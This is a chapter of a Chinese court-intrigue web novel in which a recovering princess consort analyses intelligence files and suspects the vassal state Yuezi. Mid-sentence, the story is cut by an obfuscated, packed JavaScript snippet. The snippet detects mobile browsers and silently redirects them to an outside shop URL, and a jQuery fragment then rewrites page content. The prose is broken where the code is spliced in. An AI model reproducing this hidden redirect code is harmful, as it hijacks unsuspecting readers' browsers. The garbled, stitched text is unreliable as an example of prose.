她没有力气说太多,但每一个字都敲在沈泽封的心上。
她没有指责他的抗旨,没有抱怨自己的伤痛,首先想到的,竟是他与母亲的关系,是朝堂的稳定。
沈泽封看着她,心中五味杂陈。
他之前被愤怒和心痛冲昏了头脑,固执的认为母亲只有猜忌,却忘了站在母亲的位置,需要平衡各方势力,她的决定未必全然是恶意,而躺在这里的如玥,在生死边缘走了一遭,醒来后最担心的,依然是他,是这个家的完整,是李朝江山的稳固。
“我明白,我都明白。”沈泽封紧紧握住她的手,贴在自己脸颊,声音低沉“之前是我想岔了,钻了牛角尖,你放心,我不会再做让你担心的事。”
他看着她,眼中重新燃起了沉稳的光芒:“京城那边的流言,梦华已经来信告知,我会处理,母皇那里……待你伤势稳定些,我会亲自上书陈情,现在,什么都没有你的身体重要。”
方如玥闻言,眼中闪过一丝欣慰,紧绷的精神稍稍放松。,而,身体的剧痛和疲惫如潮水般再次涌来,她不得不重新合上眼,微不可察地点了点头,嘴角努力向上牵起一个极淡的弧度,随即又陷入了沉睡。
但这一次的沉睡,眉宇间不再是全无生气的死寂,而是带着一丝安心。
沈泽封守在一旁,看着她呼吸逐渐平稳,心中翻涌的暴戾与偏执,在她清醒后寥寥数语间,竟奇异地被抚平了大半。
他轻轻抚平她微蹙的眉心,低声许诺:“睡吧,如玥。”
待她再次沉睡,沈泽封立刻召来林铮,将方如玥指出的几个地点作为重点,加派人手秘密调查。
他自己也重新审视与那几个附属国的往来文书,尤其是表面最为恭顺的月兹国。
方如玥再次醒来时,已是次日清晨。
虽然依旧虚弱,但眼神比昨日清明了许多。
她一眼就看到沈泽封坐在榻边,眼下乌青,显然又是一夜未眠,手中正拿着一些卷宗。
见她醒来,他立刻放下东西,关切地问:“感觉如何?可还有哪里不适?”
方如玥轻轻摇头,目光却落在他放下的卷宗上:“是流言的事?”
“这些事有我处理,你现在最要紧的是养好身子,御医说了,你此次伤及根本,万不可再劳神。”沈泽封叹了口气,握住她的手。
“我躺在这里,什么忙都帮不上,才是最大的劳神。”方如玥声音微弱,“让我看看,多一个人看,总能多发现些蛛丝马迹。”
沈泽封深知她的性子,见她如此执着,知道拗不过她。
他无奈的叹了口气,妥协道:“要看可以,但必须先吃点东西,再用些药。”
这次,方如玥没有反对,顺从的点了点头。
沈泽封立刻吩咐人将一直温着的清粥小菜端来,亲自耐心的喂她吃下小半碗。
随后,军医和御医也被请来复诊。
两位医官仔细诊脉后,脸上都露出难以置信的震惊之色,昨日还脉象微弱沉迟、几近油尽灯枯之人,今日脉象虽仍虚弱,却已有了明显的生机,如同枯木逢春。
“王爷,王妃娘娘……这……这真是奇迹啊!”院判捋着胡须,激动得声音发颤,“娘娘根基受损,需长期静养,但性命已然无虞!真是苍天庇佑!”
他们连忙调整了药方,以温补调理为主,再三叮嘱务必静养,不可过度耗费心神,这才满怀惊叹地退下。
用过药,方如玥感觉身上稍稍有了些力气,便迫不及待地看向那些卷宗。
沈泽封无法,只得将目前搜集到的、关于谣言起源的调查文书,以及周边几个附属国的基本情报,挑选一些不那么沉重的,拿到榻边给她看。
方如玥靠坐在软枕上,拿起卷宗的瞬间,神情便变得专注起来。
沈泽封在一旁守着,只见她时而凝眉,时而用指尖轻轻敲击纸张某处,那专注侧颜在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847363|183622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晨光中显得格外沉静,一种内敛的智慧光华在她周身隐隐流转,竟是比从前那些容貌更加让他挪不开眼睛。
过了约莫一炷香的时间,方如玥放下最后一页纸,抬起眼,看向沈泽封:“问题大概率出在月兹国。”
听着她这笃定的话,沈泽封心中一震,这正是他昨夜重点怀疑的对象之一,只是他想不出缘由。
“为何是它?月兹国一向在诸附属国中最为安分,岁贡从未短缺。”他不禁问道。
“正是因为它太过‘安分’。”方如玥指尖点着卷宗上关于月兹国的记录,“你看,其他几个被点名的部落或小国,或多或少都有些小动作,或与塔塔尔部有过摩擦,或内部有权力更迭,唯有月兹国,近十年来毫无波澜,每一次递交的国书都措辞谦卑至极,仿佛没有任何自己的诉求。这本身就不正常。”
她顿了顿,继续分析,【洞察力】让她能轻易捕捉到那些被忽略的细节:“而且,根据商队往来记录,月兹国近几年与西域诸国的贸易量悄然增加了三成,但上贡的珍稀矿产和皮**却比往年减少了。他们积攒财富和资源,想做什么?更重要的是……”
“最初几批散播谣言的探子,虽然刻意绕了路,但他们携带的干粮袋里,发现了一种只有月兹国北部荒漠才生长的、常用于保存肉干的特殊草籽痕迹。虽然微乎其微,但结合其他线索,指向性很强。”
沈泽封听着她的分析,心中既惊叹又复杂。
她刚刚从鬼门关回来,身体如此虚弱,却能如此敏锐的抓住这些连他麾下专业探子都可能忽略的细节。
“我也有所怀疑。”沈泽封沉声道,“只是不解,月兹国一向臣服,为何突然甘当马前卒,行此险招?这背后定然有人许以重利,或者他们本身所图甚大?要真是如此,那朝中很有可能有他们的内应。”
方如玥沉吟片刻,突然开口:“在这里猜测无益,事实如何,亲自去看看就知道了。”